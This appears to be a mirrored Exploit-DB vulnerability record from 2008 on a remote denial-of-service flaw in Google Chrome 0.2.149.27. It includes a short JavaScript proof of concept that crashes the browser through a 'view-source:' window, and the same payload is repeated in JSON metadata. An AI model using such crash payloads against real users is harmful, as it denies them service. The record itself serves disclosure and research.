Search...

Google Chrome 0.2.149 Malformed 'view-source' HTTP Header Remote Denial of Service Vulnerability

2008-09-05T00:00:00

ID EDB-ID:32335
Type exploitdb
Reporter Juan Pablo Lopez Yacubian
Modified 2008-09-05T00:00:00

Description

Google Chrome 0.2.149 Malformed 'view-source' HTTP Header Remote Denial of Service Vulnerability. Dos exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/31035/info

Google Chrome is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted HTTP 'view-source' headers.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected. 

&lt;script&gt;
a = window.open("view-source:http://123")
a.alert(1)
&lt;/script&gt;

JSON Vulners Source

Initial Source

{"id": "EDB-ID:32335", "hash": "df2011b7a89dc5c3c917dc5a0ecfad13", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Google Chrome 0.2.149 Malformed 'view-source' HTTP Header Remote Denial of Service Vulnerability", "description": "Google Chrome 0.2.149 Malformed 'view-source' HTTP Header Remote Denial of Service Vulnerability. Dos exploits for multiple platform", "published": "2008-09-05T00:00:00", "modified": "2008-09-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/32335/", "reporter": "Juan Pablo Lopez Yacubian", "references": [], "cvelist": [], "lastseen": "2016-02-03T16:45:10", "history": [], "viewCount": 0, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-02-03T16:45:10"}, "dependencies": {"references": [], "modified": "2016-02-03T16:45:10"}, "vulnersScore": -0.0}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/32335/", "sourceData": "source: http://www.securityfocus.com/bid/31035/info\r\n\r\nGoogle Chrome is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted HTTP 'view-source' headers.\r\n\r\nAttackers can exploit this issue to crash the affected application, denying service to legitimate users.\r\n\r\nGoogle Chrome 0.2.149.27 is vulnerable; other versions may also be affected. \r\n\r\n<script>\r\na = window.open(\"view-source:http://123\")\r\na.alert(1)\r\n</script>\r\n\r\n", "osvdbidlist": ["48263"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}